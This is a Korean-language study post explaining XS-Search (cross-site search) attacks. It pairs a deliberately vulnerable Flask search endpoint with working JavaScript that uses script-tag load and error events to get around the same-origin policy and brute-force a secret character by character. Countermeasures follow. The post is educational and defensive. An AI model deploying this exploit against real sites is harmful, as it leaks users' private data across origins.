[2025-08-19] XS-Search
🦥 본문
정의 및 개념
Cross-Site Search. 쿼리 기반 시스템을 이용해 이용자의 비밀 정보를 유출하는 기법. 주로 웹 애플리케이션에서 검색 기능을 이용해 사용자의 민감한 정보를 유출.
예제
GET 파라미터로 쿼리 형태의 입력을 받고, 비밀값이 쿼리 값으로 시작한다는 조건이 부합한다면 OK와 200 응답 코드. 아니면 NO 라는 메시지와 404 응답 코드.
secret = "this_is_secret_value"
@app.route('/search')
def search_secret():
query = request.args.get("query", "_")
if secret.startswith(query):
return "OK", 200
else:
return "NO", 404
-
secret값이 이용자의 비밀 정보일 때, 일반적으로 공격자의 페이지에서 해당 오리진으로 xhr 요청을 보내게 되면 SOP 정책에 막힘var xhr = new XMLHttpRequest(); xhr.open('GET', 'http://localhost:8000/search?query=t'); xhr.onload = function () { console.log('Status Code:', xhr.status); console.log('Response Text:', xhr.responseText); }; xhr.send(); -
SOP 우회 방법
<img>,<style>,<script>등의 태그는 SOP의 영향을 받지 않음function req(url) { let script = document.createElement('script'); script.src = url; script.onload = () => console.log(200); script.onerror = () => console.log(404); document.head.appendChild(script); } req('http://localhost:8000/search?query=a'); req('http://localhost:8000/search?query=t');- 현재 문서에
script태그를 생성하고 src 속성을 공격 대상 오리진의 URL로 설정한 후, 로드하는데 성공했는지 실패했는지의 여부를 통해 200, 404를 구분할 수 있음 -
응답 코드를 통해 Blind SQLi처럼 한 글자씩 유추 가능
async function req(url) { return await new Promise((resolve, reject) => { const script = document.createElement("script"); script.src = url; script.onload = resolve; script.onerror = reject; document.head.appendChild(script); }); } async function search(query) { try { await req( `http://localhost:8000/search?query=${query}` ); return true; } catch (e) { return false; } } async function exploit() { let chars = "_abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789" let secret_length = 20; let secret = ""; for (let i = 0; i < secret_length; i++) { for (let c of chars) { if (await search(secret + c)) { secret += c; console.log(`found: ${secret}`); break; } } } } exploit()
- 현재 문서에
대응 방법
- 검색 결과의 응답 크기/시간 균등화
- 존재 여부와 관계없이 비슷한 응답 크기 반환
- 일정한 시간 딜레이를 적용해 타이밍 기반 분석을 어렵게 함
- Cross-Origin 정책 강화
X-Frame-Options,Cross-Origin-Resource-Policy,Cross-Origin-Opener-Policy적용- 다른 출처에서 검색 결과를 로드하지 못하도록 차단
- Rate Limiting & Captcha 적용
- 공격자가 대량 시도를 하지 못하게 제한
- 로그 모니터링
- 비정상적인 반복적 검색 요청 탐지
Leave a comment